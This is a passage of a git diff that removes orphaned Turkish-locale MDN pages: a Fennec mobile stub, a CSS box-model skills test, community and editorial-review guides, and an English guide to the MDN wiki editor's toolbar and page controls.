- {{LandingPageListSubpages}}</div> diff --git a/files/tr/orphaned/fennec_(firefox_mobile)/index.html b/files/tr/orphaned/fennec_(firefox_mobile)/index.html deleted file mode 100644 index 0f0f83ab8e..0000000000 --- a/files/tr/orphaned/fennec_(firefox_mobile)/index.html +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: Mobile -slug: orphaned/Fennec_(Firefox_Mobile) -tags: - - Firefox - - Mobile - - firefox fennec - - mobil - - mobile firefox -original_slug: Fennec_(Firefox_Mobile) ---- -<p><img alt="fennec_logo.png" class="internal default" src="/@api/deki/files/4246/=fennec_logo.png"></p> -<p>Firefox'un cep telefonları için olan sürümüdür. Ekran görüntüleri aşağıdaki gibidir. Yakında daha ayrıntılı bilgiye buradan erişebileceksiniz.</p> -<p><img alt="fennec_ss1.png" class="internal default" src="/@api/deki/files/4243/=fennec_ss1.png"></p> -<p><img alt="fennec_ss2.png" class="internal default" src="/@api/deki/files/4244/=fennec_ss2.png"></p> -<p><img alt="fennect_ss3.png" class="internal default" src="/@api/deki/files/4245/=fennect_ss3.png"></p> diff --git a/files/tr/orphaned/learn/css/building_blocks/selectors/box_model_tasks/index.html b/files/tr/orphaned/learn/css/building_blocks/selectors/box_model_tasks/index.html deleted file mode 100644 index 947424114f..0000000000 --- a/files/tr/orphaned/learn/css/building_blocks/selectors/box_model_tasks/index.html +++ /dev/null @@ -1,87 +0,0 @@ ---- -title: 'Becerilerinizi test edin: Kutu Modeli' -slug: orphaned/Learn/CSS/Building_blocks/Selectors/Box_Model_Tasks -tags: - - Başlangıç - - CSS -translation_of: Learn/CSS/Building_blocks/Selectors/Box_Model_Tasks -original_slug: Learn/CSS/Building_blocks/Selectors/Box_Model_Tasks ---- -<div>{{LearnSidebar}}</div> - -<div></div> - -<p>Bu görevin amacı, CSS Kutu Modeli hakkında anlayşınızı kontrol etmenize yardımcı olmaktır.</p> - -<div class="blockIndicator note"> -<p><strong>Not</strong>: Aşağıdaki etkileşimli düzenleyicilerde çözümleri deneyebilirsiniz, ayrıca kodu indirmek ve görevler üzerinde çalışmak için <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a> veya <a href="https://glitch.com/">Glitch</a> gibi çevrimiçi bir araç kullanmakta faydalı olabilir.</p> - -<p>Sıkışırsanız, bizden yardım isteyin — bu sayfanın altındaki {{anch("Değerlendirme veya daha fazla yardım")}} bülümüne bakabilirsiniz.</p> -</div> - -<h2 id="Kutu_Model_Bir">Kutu Model Bir</h2> - -<p>Aşağıdaki iki kutudan biri standart kutu modeli, diğeri ise alternatif kutu modelini kullanıyor. .alternate sınıfına kurallar ekleyerek ikinci kutunun genişliğini , ilk kutunun görsel genişliğiyle eşleşecek şekilde değiştirin. İşin sonunda görseliniz aşağıdaki resim gibi görünmelidir.</p> - -<p><img alt="Two boxes of the same size" src="https://mdn.mozillademos.org/files/17126/mdn-box-model1.png" style="height: 851px; width: 792px;"></p> - -<p>Bitmiş örneği yeniden oluşturmak için aşağıdaki canlı kodu düzenlemeyin:</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/tasks/box-model/box-models.html", '100%', 1100)}}</p> - -<div class="blockIndicator note"> -<p>Kendi editörünüzde veya çevrimiçi bir düzenleyicide çalışmak için, <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/box-model/box-models-download.html">kaynak kodları</a> indirin.</p> -</div> - -<h2 id="Kutu_Modeli_İki">Kutu Modeli İki</h2> - -<p>Bu görevde kutuya şunları ekleyin:</p> - -<ul> - <li>5px, siyah ve noktalı bir kenarlık.</li> - <li>20px üst kenar boşluğu.</li> - <li>1em sağ kenar boşluğu.</li> - <li>40px bir alt kenar boşluğu.</li> - <li>2em'lik bir sol kenar boşluğu.</li> - <li>her tarafına 1em'lik dolgu<img alt="A box with a dotted border" src="https://mdn.mozillademos.org/files/17127/mdn-box-model2.png" style="height: 261px; width: 1265px;"></li> -</ul> - -<p>Örneği resimdeki gibi yeniden oluşturmak için aşağıdaki canlı kodu yeniden düzenleyin:</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/tasks/box-model/mbp.html", '100%', 600)}}</p> - -<div class="blockIndicator note"> -<p>Kendi editörünüzde veya çevrimiçi bir düzenleyicide çalışmak için, <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/box-model/mbp-download.html">kaynak kodları</a> indirin.</p> -</div> - -<h2 id="Kutu_Modeli_Üç">Kutu Modeli Üç</h2> - -<p>Bu örnekte, satıriçi öğenin bir kenar boşluğu, dolgusu ve kanarlığı vardır, ancak üstündeki ve altındaki çizgiler diğer öğelerin üzerine binmektedir. Öğeyi satır içinde tutarken kenar boşluğunun, dolgusunun ve kenarlığının boyutunun diğer satırlar tarafından dikkate alınmasını sağlamak için CSS'nize ne ekleyebilirsiniz.?</p> - -<p><img alt="An inline box with space between it and the text around it." src="https://mdn.mozillademos.org/files/17128/mdn-box-model3.png" style="height: 458px; width: 1264px;"></p> - -<p>Resimdeki görüntüyü oluşturabilmek için aşağıdaki kodu yeniden düzenleyin:</p> - -<p>{{EmbedGHLiveSample("css-examples/learn/tasks/box-model/inline-block.html", '100%', 800)}}</p> - -<div class="blockIndicator note"> -<p>Kendi editörünüzde veya çevrimiçi bir düzenleyicide çalışmak için, <a href="https://github.com/mdn/css-examples/blob/master/learn/tasks/box-model/inline-block-download.html">kaynak kodları</a> indirin.</p> -</div> - -<h2 id="Değerlendirme_veya_daha_fazla_yardım">Değerlendirme veya daha fazla yardım</h2> - -<p>Bu örnekleri yukarıda bahsedilen Etkileşimli Editörlerde deneyebilirsiniz.</p> - -<p>Çalışmanizin değerlendirilmesini istiyorsanız veya bir noktada takılıp kaldıysanız ve yardım istemek istiyorsanız:</p> - -<ol> - <li>Çalışmanızı <a href="https://codepen.io/">CodePen</a>, <a href="https://jsfiddle.net/">jsFiddle</a>, veya <a href="https://glitch.com/">Glitch</a> gibi çevrimiçi paylaşılabilir bir düzenleyiciye kaydedin. Kodu kendiniz yazabilir veya yukarıdaki bölümlerde bağlantı verilen kaynak kodları kullanabilirsiniz.</li> - <li>Bize <a class="external external-icon" href="https://discourse.mozilla.org/c/mdn/learn" rel="noopener">MDN Discourse forum Learning category</a> değerlendirme ve/veya yardım isteyen bir gönderi yazın. Gönderinizde bulunması gerekenler: - <ul> - <li>"Kutu Modeli Beceri testi 1 için istenen değerlendirme" gibi açıklayıcı bir başlık.</li> - <li>Halihazırda denediklerinizin ve bizden ne yapmamızı istediğinizle ilgili ayrıntılar.</li> - <li>Değerlendirilmek istediğiniz veya yardıma ihtiyaç duyduğunuz kodun çevrimiçi paylaşılabilir düzenleyicide bağlantısı. Göremediğimiz bir kod üzerinde değerlendirme ve/veya yardımda bulunamayız.</li> - <li>Yardım almak istediğiniz soruyu bulabilmemiz için asıl görev veya değerlendirme sayfasına bir bağlantı.</li> - </ul> - </li> -</ol> diff --git a/files/tr/orphaned/mdn/community/index.html b/files/tr/orphaned/mdn/community/index.html deleted file mode 100644 index b4fd7d8688..0000000000 --- a/files/tr/orphaned/mdn/community/index.html +++ /dev/null @@ -1,54 +0,0 @@ ---- -title: Join the MDN community -slug: orphaned/MDN/Community -tags: - - MDN Meta - - Rehber - - Topluluk -translation_of: MDN/Community -original_slug: MDN/Community ---- -<div>{{MDNSidebar}}</div> - -<div>{{IncludeSubnav("/en-US/docs/MDN")}}</div> - -<div class="summary"> -<p>MDN web dökümanları vikiden daha fazlasıdır: Açık Web teknolojileri hakkında dökümanlar oluşturulan , birlikte çalışan yazılım geliştiricilerinden oluşan bir topluluktur. </p> -</div> - -<p>MDN'e katkıda bulunmanızdan hoşnut oluruz, bunun yanında MDN topluluğuna katılmanız bizi daha da mutlu eder. Aşağıda nasıl bağlanacağınza dair üç adım verilmiştir.</p> - -<ol> - <li>MDN üyeliği oluşturun.</li> - <li>Tartışmalara katılın.</li> - <li>Ne olduğunu takip edin.</li> -</ol> - -<h2 id="Topluluk_nasıl_çalışır">Topluluk nasıl çalışır</h2> - -<p>Sonraki paragraflar MDN topluluğunun nasıl çalıştığını açıklamaktadır..</p> - -<div class="row topicpage-table"> -<div class="section"> -<dl> - <dt class="landingPageList"><a href="/en-US/docs/MDN/Community/Roles">Topluluk Görevleri</a></dt> - <dd class="landingPageList">Çeşitli sorumluları olan çeştili roller anlatılmaktadır.</dd> - <dt class="landingPageList"><a href="/en-US/docs/MDN/Community/Doc_sprints">Döküman Turları </a></dt> - <dd class="landingPageList">Döküman turlarının organizyonu ve çeşitli öneriler, kısayollar paylaşılmaktadır.</dd> - <dt class="landingPageList"><a href="/en-US/docs/MDN/Community/Whats_happening">Ne olduğunu Takip Edin</a></dt> - <dd class="landingPageList">MDN sizi <a class="external" href="https://wiki.mozilla.org/MDN">Mozilla Developer Network </a>Topluluğu taradından oluşturulur. Burada nasıl bilgi paylaşılacağı anlatılmaktadır.</dd> -</dl> - -<dl> -</dl> -</div> - -<div class="section"> -<dl> - <dt class="landingPageList"><a href="/en-US/docs/MDN/Community/Conversations">MDN Topluluk Tartışmaları</a></dt> - <dd class="landingPageList">MDN'deki "işler" MDN web sitesinde görülür ancak topluluk tartışmalara (Eşzamanlı) ve Anlık Mesajlaşma toplantıları ile işleyişe katkıda bulunabilir.</dd> - <dt class="landingPageList"><a href="/en-US/docs/MDN/Community/Working_in_community">Topluluk İçinde Çalışmak</a></dt> - <dd class="landingPageList">Katkı hakkındaki en önemli konulardan biri MDN topluluğu ile nasıl çalışılacağını bilmektir. Bu makale çeşitli öneriler ile yazarlar ve geliştiriciler arasında bağlantı kurmada yardımcı olmayı amaçlamaktadır.</dd> -</dl> -</div> -</div> diff --git a/files/tr/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html b/files/tr/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html deleted file mode 100644 index 930ccb397e..0000000000 --- a/files/tr/orphaned/mdn/contribute/howto/do_an_editorial_review/index.html +++ /dev/null @@ -1,49 +0,0 @@ ---- -title: Bir editör incelemesi nasıl yapılır? -slug: orphaned/MDN/Contribute/Howto/Do_an_editorial_review -translation_of: MDN/Contribute/Howto/Do_an_editorial_review -original_slug: MDN/Contribute/Howto/Editor_incelemesi_nasil_yapilir ---- -<div>{{MDNSidebar}}</div><div>{{IncludeSubnav("/en-US/docs/MDN")}}</div> - -<p class="summary"><strong>Editör incelemeleri bir yazıda yazım hataları, imla hataları, dil bilgisi, kullanım veya metinsel hataları düzeltmekten ibarettir. Katkıda bulunanların tamamı dil uzmanları değildir, ancak bilgilerine bakılmaksızın, kopyalama, düzenleme ve son okuma/düzeltmeye ihtiyaç duyan son derece yararlı makale yazmış olacaklardır. Bu bir editör incelemesinde yapılır.</strong></p> - -<p><span class="seoSummary">Bu makale, MDN'nin içeriğinin doğru olduğundan emin olmak için bir editör incelemesinin nasıl yapılacağını açıklar.</span></p> - -<dl> - <dt>Görev nedir?</dt> - <dd>Bir "editör incelemesi gerektiriyor" olarak işaretlenmiş makalelerin kopyalama-düzenleme ve son okuması/düzenlemesi.</dd> - <dt>Nerede yapılması gerekiyor?</dt> - <dd>Bir "editör incelemesi gerektiriyor" olarak işaretlenmiş makalelerde yapılması gerekiyor.</dd> - <dt>Görevi yapmak için bilmeniz gereken şey nedir?</dt> - <dd>İyi İngilizce dil bilgisi ve yazım becerilerine sahip olmanız gerekir. Bir editör incelemesi, dil bilgisi, yazım denetimi ve ifadelerin doğru ve mantıklı olmasını sağlamak ve <a href="/en-US/docs/MDN/Contribute/Guidelines/Writing_style_guide">MDN yazım sitili rehberi</a>nin izlenmesiyle ilgilidir.</dd> - <dt>Bunu yapmanın adımları nelerdir?</dt> - <dd> - <ol> - <li>İncelenecek bir makale seçin: - <ol> - <li><a href="/en-US/docs/needs-review/editorial">Editörlük incelemesine ihtiyaç duyan makaleler listesi</a>ne gidin. Bu liste, editör incelemesinin talep edildiği tüm sayfaları listeler.</li> - <li>İngilizce başlığına sahip ve sayfa yolu Template ile başlamayan bir sayfa seçin. (<code>Template:</code> sayfalar MDN makro kodu içermektedir.)</li> - <li>Sayfayı yüklemek için makale bağlantısını tıklayın.</li> - </ol> - </li> - <li><a id="core-steps" name="core-steps"></a> Yazım hatalarını, dil bilgisini veya kullanım hatalarını yakından takip ederek makaleyi okuyun. Seçtiğiniz ilk sayfa sizin için uygun değilse farklı bir sayfaya geçmekten çekinmeyin..</li> - <li>Herhangi bir hata yoksa makaleyi gözden geçirilmiş olarak işaretlemek için düzenlemenize gerek yoktur. Sayfanın sol kenar çubuğundaki "hızlı inceleme" kutusunu bulun:<br> - <img alt="Screenshot of the editorial review request sidebar box" src="https://mdn.mozillademos.org/files/13018/SidebarReviewBoxEditorial.png"></li> - <li>Editöryel(<strong>Editorial</strong>) kutusundaki seçimi kaldırın ve Kaydet(<strong>Save) </strong>düğmesine tıklayın.</li> - <li>Düzeltilmesi gereken hatalar bulursanız: - <ol> - <li>Sayfanın üst kısmındaki Düzenle(<strong>Edit</strong>) düğmesini tıklayın; Bu sizi <a href="/en-US/docs/Project:MDN/Contributing/Editor_guide">MDN editör</a>üne getiriyor.</li> - <li>Bulduğunuz yazım hatalarını, yazım kurallarını, dilbilgisi veya kullanım hatalarını düzeltin. Her şeyi düzeltmek zorunda değilsiniz, ancak tüm makalenin tam bir incelemesini yaptığınızı makul bir derecede eminseniz, editörlük inceleme talebini yerine getirdiğinizden emin olun..</li> - <li>Makalenin en altında Revizyon Yorumu (<strong>Revision Comment)</strong> düğmesine basın; açıklama kısmına 'Editöryel inceleme: sabit yazım hataları, dilbilgisi ve yazım denetimi' gibi birşey yazabilirsiniz. Bu diğer katkıda bulunanlar ve site editorleri tarafından sayfada ne değişti neden değiştiyi bilmeleri içindir.</li> - <li>İnceleme Gerekli mi(<strong>Review Needed</strong>)? Editöryel(<strong>Editorial)</strong> kutusunun seçimini kaldırın. Bu, sayfanın Revizyon Yorumu(<strong>Revision Comment</strong>) bölümünün hemen altında yer alır.</li> - <li>Yayınla (<strong>Publish)</strong> düğmesine tıklayın.</li> - </ol> - </li> - </ol> - - <div class="note"> - <p>Değişiklikleriniz kaydedildikten hemen sonra görünmeyebilir; Sayfa işlenirken ve kaydedilirken bir gecikme olabilir.</p> - </div> - </dd> -</dl> diff --git a/files/tr/orphaned/mdn/editor/basics/index.html b/files/tr/orphaned/mdn/editor/basics/index.html deleted file mode 100644 index 5a7aaea8c6..0000000000 --- a/files/tr/orphaned/mdn/editor/basics/index.html +++ /dev/null @@ -1,428 +0,0 @@ ---- -title: MDN editor basics -slug: orphaned/MDN/Editor/Basics -translation_of: MDN/Editor/Basics -original_slug: MDN/Editor/Basics ---- -<div>{{MDNSidebar}}</div><p><span class="seoSummary">Editing content on MDN is easy; you can use the built-in WYSIWYG editor to create, edit, and improve articles and other pages almost anywhere on the site.</span> The editor window, shown below, is comprised of eight key boxes. This section will provide information about each section so you know how to use our entire editing environment.</p> -<div class="note"> - <p><strong>Note:</strong> We're constantly working on improvements to MDN, so there will be times when this documentation or the screen shots below may be slightly out-of-date. We'll periodically update this documentation, though, to avoid it being unusably behind.</p> -</div> -<p><a href="https://mdn.mozillademos.org/files/5315/edit-page-normal-labeled.png"><img alt="" src="https://mdn.mozillademos.org/files/5315/edit-page-normal-labeled.png" style="width: 600px; height: 631px; border-width: 1px; border-style: solid;"></a></p> -<h2 id="Page_controls">Page controls</h2> -<p>The page controls area offers buttons affecting the page as a whole:</p> -<dl> - <dt> - Save and keep editing</dt> - <dd> - Saves the page without closing the editor; this lets you periodically save your work, creating an entry in the page history that you can revert to if you need to, or in case you need to stop working and come back to it later. This option is not available when creating new pages. See {{anch("The revision comment box")}} to learn how to include a revision comment on your saved article.</dd> - <dt> - Save changes</dt> - <dd> - Saves the page and closes the editor, returning you to view the page in standard browsing mode. See {{anch("The revision comment box")}} to learn how to include a revision comment on your saved article.</dd> - <dt> - Preview changes</dt> - <dd> - Opens a new tab or window showing the page as it exists in your editor, rendered as if you were browsing to it. This includes executing any macros you use in-content. Your work is <strong>not</strong> saved when you use this option. This lets you check to be sure you haven't made any errors in your macro syntax or other formatting that may prevent the page from rendering correctly.</dd> - <dt> - Discard changes</dt> - <dd> - Cancels your edit, disposing of any changes you've made without saving them. You're returned to the page in standard browsing mode.</dd> -</dl> -<h2 id="The_page_info_box">The page info box</h2> -<p>The page info box contains information about the page, but also can be expanded to offer additional page controls. By default, it displays the page's title and the date and time at which a local draft was saved; the local draft, stored on your computer, is used as a backup in case you accidentally navigate away from the editor or your browser crashes.</p> -<p>You can click the "Edit Page Title and Properties" link to switch to a view offering additional page controls. This view looks like this:</p> -<p><img alt="" src="https://mdn.mozillademos.org/files/5317/expanded-page-info.png" style="width: 517px; height: 69px;"></p> -<p>This view allows you to change the page's display title and the depth of the page's table of contents. The display title is the title shown in the browser's title bar (or tab bar) and as the title of the page at the top of the article and in the breadcrumb bar, as appropriate. It doesn't affect the page's URL.</p> -<div class="note"> - <p><strong>Note:</strong> It's worth noting that we prefer short URLs and descriptive titles; for example, the article about the Kuma API has the title "The Kuma API" but its URL slug (the part after the site's root) is Project:MDN/Kuma/API, where "API" represents this page.</p> -</div> -<p>The TOC (table of contents) level lets you specify how deeply into the article's heading levels the table of contents automatically displayed on the page should go. By default, heading levels {{HTMLElement("h2")}} through {{HTMLElement("h4")}} are included in the TOC, so that the TOC has a three-level depth. However, you can set this to any of those, as well as "No TOC" (to not display a TOC at all, such as on landing pages) or to show all levels in the TOC.</p> -<p>As is the case with all changes you might make, changes in the page info box do not take effect unless you save the page.</p> -<h2 id="The_toolbar">The toolbar</h2> -<p>The editor's toolbar offers features that let you adjust the appearance and flow of the article as you work. There are two rows of buttons (more if the width of your window is narrow enough that they wrap, but generally two) and a third row that shows the hierarchy of HTML elements leading up to where you are. In the screenshot below, for example, you're writing inside a top-level {{HTMLElement("p")}} block.</p> -<p><img alt="" src="https://mdn.mozillademos.org/files/5319/edit-toolbar.png" style="width: 771px; height: 88px;"></p> -<p>The toolbar's buttons are divided into seven groups. Let's look at each; we will examine the buttons in each group in order left-to-right.</p> -<h3 id="Document_options">Document options</h3> -<p>The document options box provides options for document-level manipulations:</p> -<p> </p> -<dl> - <dt> - Source mode toggle</dt> - <dd> - The source mode toggle button lets you toggle between editing using the WYSIWYG interface and in raw HTML source mode. We <strong>strongly</strong> request that you try to avoid using source mode, as it's very easy to wind up with content that doesn't match our style guide or, worse, doesn't work right at all. Currently, though, the editor has some quirks that make it impossible to do certain things without resorting to source mode.</dd> - <dt> - Save and keep editing</dt> - <dd> - A duplicate for the main "Save and keep editing" button.</dd> - <dt> - Save and exit</dt> - <dd> - Just like the main "Save changes" button.</dd> - <dt> - Paste as plain text</dt> - <dd> - Opens a dialog into which you can paste text; the text has all styling stripped from it so that you don't inadvertently introduce unwanted styles into the site content. Once you've pasted your text, you can (optionally) make changes, then click a button to insert it into the article you're working on.</dd> -</dl> -<div class="note"> - <p><strong>Note:</strong> When pasting content into MDN, please be aware that if pasting styled content (including, for example, syntax highlighting in code being copied from another site) that you may be bringing along unwanted and unneeded additional styles or classes. Please be careful not to do this; if necessary, review your edit in source mode to remove these unnecessary styles and classes (or check it before pasting, or use the "Paste as plain text" option instead).</p> -</div> -<dl> - <dt> - Paste from Word</dt> - <dd> - On Windows, lets you paste text from Microsoft Word and have it adjusted to work reasonably well in MDN's wiki. We prefer for you to not use this (the results will work but are not typically style guide compliant), but it's there for a few teams that need it.</dd> - <dt> - Check spelling</dt> - <dd> - Starts the spell checker.</dd> - <dt> - Spell check as you type</dt> - <dd> - Presents a submenu that lets you control and configure the as-you-type spell checker.</dd> - <dt> - Find</dt> - <dd> - Opens the Find panel in "Find" mode, which lets you search your document for a specified string.</dd> - <dt> - Replace</dt> - <dd> - Opens the Find panel in "Find and replace" mode, allowing you to find strings and replace them with new ones.</dd> -</dl> -<p>It's worth noting that the Find and Replace buttons both take you to the same dialog box, which offers several configurable options for finding and optionally replacing text.</p> -<h3 id="Block-level_options">Block-level options</h3> -<p>These buttons provide options affecting or creating blocks in your article.</p> -<dl> - <dt> - Insert/remove bulleted list</dt> - <dd> - Creates or removes a bulleted list from your article. Once you're working in a bulleted list, each time you press return, you will start a new bullet. The tab key can be used to indent a level, and shift-tab will outdent a level. Pressing return on an empty bullet will exit bullet list mode. Right-clicking on the list lets you choose to edit the list's properties (specifically, the shapes of the bullets).</dd> - <dt> - Insert/remove numbered list</dt> - <dd> - Creates or removes a numbered list from your article. Once you're working in a numbered list, each time you press return, you will start a new bullet. The tab key can be used to indent a level, and shift-tab will outdent a level. Pressing return on an empty bullet will exit numbered list mode. Right-clicking the list offers the option to open the properties dialog for the list; the properties include the style of the numbers (numbers, letters, Roman numerals, etc, and what number to start with).</dd> - <dt> - Definition list</dt> - <dd> - Creates a new definition list. Definition lists consist of a series of titles and definitions (this list you're reading right now is an example).</dd> - <dt> - Definition title</dt> - <dd> - Creates a new title in a definition list. If you're not already editing a definition list, a new one is created for you. Pressing return after entering a definition title automatically starts you editing a definition description.</dd> - <dt> - Definition description</dt> - <dd> - Creates a new description in a definition list. Pressing return on a description line automatically starts a new title. Pressing return twice will exit definition list mode.</dd> - <dt> - Decrease indent</dt> - <dd> - Shifts the indentation level to the left once; this is the same as shift-tab while in a list.</dd> - <dt> - Increase indent</dt> - <dd> - Shifts the indentation level to the right once; this is the same as tab while in a list.</dd> - <dt> - Blockquote</dt> - <dd> - Inserts a blockquote. <strong>Please do not use this</strong>. Blockquotes are not part of our standard style guide, and this button will be removed in the near future.</dd> - <dt> - Image</dt> - <dd> - Inserts a new image into the article. See {{anch("Adding images to an article")}} below for details on how to use this option.</dd> - <dt> - Table</dt> - <dd> - Inserts a table into the article. See {{anch("Working with tables")}} for more information on tables in articles.</dd> - <dt> - Text color</dt> - <dd> - Lets you set the text foreground color. <strong>Please do not use this.</strong> We will switch to using CSS styles for all coloring soon.</dd> - <dt> - Background color</dt> - <dd> - Lets you set the text background color. <strong>Please do not use this.</strong> We will switch to using CSS styles for all coloring soon.</dd> - <dt> - Text direction left-to-right</dt> - <dd> - Sets LTR as the current text typing direction. Used only when covering localization/internationalization topics.</dd> - <dt> - Text direction right-to-left</dt> - <dd> - Sets RTL as the current text typing direction. Used only when covering localization/internationalization topics.</dd> -</dl> -<h3 id="Maximize">Maximize</h3> -<p>This is an odd box, in that it consists of just one button: Maximize. This button causes the editor interface (that is, the toolbar and the edit box) to take over your entire browser window, giving you as much space as possible to write.</p> -<h3 id="Headings">Headings</h3> -<p>The heading buttons let you insert a heading. Click one of these buttons to create a new heading at the corresponding depth. By default, H2 through H4 are included in the table of contents, but you can change this, as described in {{anch("The page info box")}}.</p> -<h3 id="Formatting_styles">Formatting styles</h3> -<p>The next box is a drop-down menu offering a selection of special formatting options. These are:</p> -<dl> - <dt> - None</dt> - <dd> - Removes all styling from the current block.</dd> - <dt> - Note box</dt> - <dd> - Creates a note box, as seen below. You should always start a note box with "<strong>Note:</strong>" in bold letters.</dd> -</dl> -<div class="note"> - <p><strong>Note:</strong> This is a note box.</p> -</div> -<dl> - <dt> - Warning box</dt> - <dd> - Creates a warning box, as seen below. These should always begin with "<strong>Warning:</strong>" in bold letters.</dd> -</dl> -<div class="warning"> - <p><strong>Warning:</strong> This is a warning box.</p> -</div> -<pre class="syntaxbox notranslate">foo = bar()</pre> -<dl> - <dt> - Callout box</dt> - <dd> - Creates a new callout box. We are phasing this kind of box out in favor of a new design, <strong>so it shouldn't be used</strong> for new content.</dd> - <dt> - Two columns</dt> - <dd> - Makes the selected text or the current block two columns instead of one, on browsers that support it.</dd> - <dt> - Three columns</dt> - <dd> - Makes the selected text or the current block three columns instead of one, on browsers that support it.</dd> - <dt> - Syntax box</dt> - <dd> - Creates a syntax box, such as the one shown below. You need to use the "PRE" button as well, to create a {{HTMLElement("pre")}} block inside it. You probably won't see the yellow box until you do.</dd> - <dt> - Right sidebar</dt> - <dd> - <div class="standardSidebar" style="text-align: center;"> - <strong>Special note</strong><br> - This is a right sidebar.</div> - Creates a light grey sidebar that floats to the right of content. You may enter small amounts of text in these boxes to draw special attention to them.</dd> - <dt> - SEO summary</dt> - <dd> - This special style is used to indicate a sentence or two that should be used as the article's summary for SEO purposes. It's also used by macros that automatically construct landing pages. If you don't specify this, MDN automatically uses the first paragraph of your article, but sometimes that's not the optimal text (or it's too much text), so this lets you override that.</dd> -</dl> -<h3 id="Code_samples_and_redirects">Code samples and redirects</h3> -<p>These buttons are mostly used for providing preformatted text (usually code samples), but our "insert redirect" button is, for some reason, here too.</p> -<dl> - <dt> - PRE</dt> - <dd> - Inserts a {{HTMLElement("pre")}} (preformatted text) block, or turns the current block into one. All code samples or examples of text output to a terminal should be in one of these blocks.</dd> - <dt> - Syntax highlighter</dt> - <dd> - The syntax highlighter lets you choose a language for which to apply syntax highlighting to the{{HTMLElement("pre")}} (preformatted text) block; if you're not already in such a block, this will create one for you. Simply choose the language and you're good to go.</dd> - <dt> - Insert code sample template</dt> - <dd> - This button is used by the live sample system to help you quickly insert a new live sample. You don't need to use it, but it's there for convenience. See {{anch("Using the live sample system")}} for details on using this and other live sample features.</dd> - <dt> - Insert code sample iframe</dt> - <dd> - Inserts an {{HTMLElement("iframe")}} into the document, displaying a given live sample. See {{anch("Using the live sample system")}} for details on using this and other live sample features.</dd> - <dt> - Create a redirect</dt> - <dd> - Inserts a redirect. See {{anch("Creating redirects")}} for further information.</dd> -</dl> -<h3 id="Inline_styles_and_links">Inline styles and links</h3> -<p>The final group of toolbar buttons includes options for creating and maintaining links and anchors, as well as for applying inline styles to content.</p> -<dl> - <dt> - Link</dt> - <dd> - Creates a new link. This button opens the link editor dialog, which is covered under {{anch("Creating and editing links")}} below.</dd> - <dt> - Unlink</dt> - <dd> - Removes the link at the insertion point.</dd> - <dt> - Anchor</dt> - <dd> - Creates an anchor at the insertion point.</dd> - <dt> - Bold</dt> - <dd> - Toggles boldface text mode.</dd> - <dt> - Italic</dt> - <dd> - Toggles italic text mode.</dd> - <dt> - Underline</dt> - <dd> - Toggles underlined text mode.</dd> - <dt> - Code</dt> - <dd> - Toggles {{HTMLElement("code")}} mode. This is used for inline presentation of variable names, function names, object names, filenames, and so forth.</dd> - <dt> - Strike through</dt> - <dd> - Toggles strikethrough mode.</dd> - <dt> - Superscript</dt> - <dd> - Toggles superscript mode. Please note that we don't use footnotes on MDN, so you should rarely if ever need this button.</dd> - <dt> - Remove format</dt> - <dd> - Removes the current formatting from the selection.</dd> - <dt> - Align left</dt> - <dd> - Makes the current block left-aligned. <strong>Please do not use this.</strong> We will be using CSS styles for all alignment tasks starting very soon.</dd> - <dt> - Center</dt> - <dd> - Centers the current block. <strong>Please do not use this.</strong> We will be using CSS styles for all alignment tasks starting very soon.</dd> - <dt> - Align right</dt> - <dd> - Makes the current block right-aligned. <strong>Please do not use this.</strong> We will be using CSS styles for all alignment tasks starting very soon.</dd> -</dl> -<h2 id="The_edit_box">The edit box</h2> -<p>The edit box is, of course, where you actually do your writing. Right-clicking in the edito box will offer appropriate additional options depending on the context of your click; clicking in a table will offer table-related options and clicking in a list will offer list-related options, for example.</p> -<h2 id="The_revision_comment_box">The revision comment box</h2> -<p>After you've made your changes, it's strongly recommended you add a comment to your revision. This is displayed in the revision history for the page, as well as on the <a href="/en-US/dashboards/revisions" title="/en-US/dashboards/revisions">Revision Dashboard</a>. It helps to explain or justify your changes to others that may review your work later. To add a revision comment, simply type the note into the revision comment box before clicking either of the save buttons at the top of the page.</p> -<div class="note"> - <p><strong>Note:</strong> We know that the revision comment box being so far away from the save buttons doesn't make any sense. We're working on design changes that will fix that.</p> -</div> -<h2 id="The_tags_box">The tags box</h2> -<p>Page tags help categorize and organize information, and help us identify pages that need special attention. Tags are also used to mark pages that are obsolete and may need to be deprecated or even deleted. It's incredibly useful to have good, clean tags on pages, so be sure to have good tags on articles you contribute to.</p> -<p>The tag box is near the bottom of the editor page, and looks like this:</p> -<p><img alt="The tag editing box showing three tags." height="80" src="https://mdn.mozillademos.org/files/5291/tagbox1.png" width="785"></p> -<h3 id="Adding_a_tag">Adding a tag</h3> -<p>To add a new tag, simply click in the box and start typing:</p> -<p><img alt="Screen thot: the tag box after typing a new tag but before pressing Enter." height="74" src="https://mdn.mozillademos.org/files/5293/newtag-beforereturn.png" width="784"></p> -<p>Here we see the three already existing tags (as button-like objects) and our new tag as unadorned text. When we press <kbd>Enter</kbd> or <kbd>Tab</kbd> key (or comma), the new tag is committed to the list, and the list looks like this:</p> -<p><img alt="Screen shot: the tag box with our new tag in place." height="81" src="https://mdn.mozillademos.org/files/5295/newtag-afterreturn.png" width="784"></p> -<p>For a list of recommended tags, as well as a usage guide for specific tags, please see <a href="/en-US/docs/Project:MDN/Contributing/Tagging_standards">MDN tagging standards</a>.</p> -<h3 id="Removing_a_tag">Removing a tag</h3> -<p>There are two ways to remove a tag: you can click on the "x" icon next to its name in its button, or you can click to its right in the editor box and press the delete key on your keyboard.</p> -<h3 id="Committing_your_changes">Committing your changes</h3> -<p>Your changes are not saved unless you click one of the save buttons at the top of the editor window. Scroll back to the top of the window if you don't see the buttons, then click one of the two green save buttons. Now your change has been committed.</p> -<h2 id="The_reviews_box">The reviews box</h2> -<p>MDN uses <strong>reviews</strong> to try to monitor and improve the quality of its content. This works by setting a flag on an article indicating that a review is needed. You can learn more about <a href="/en-US/docs/MDN/Contribute/Howto/Do_a_technical_review" title="/en-US/docs/Project:MDN/Contributing/How_to_help#Content_reviews">technical reviews</a> and <a href="/en-US/docs/MDN/Contribute/Howto/Do_an_editorial_review">editorial review</a> in the <a href="/en-US/docs/MDN/Contribute/Howto" title="/en-US/docs/Project:MDN/Contributing/How_to_help">How to</a> guides.</p> -<p>To request a review on the article you've worked on, simply toggle 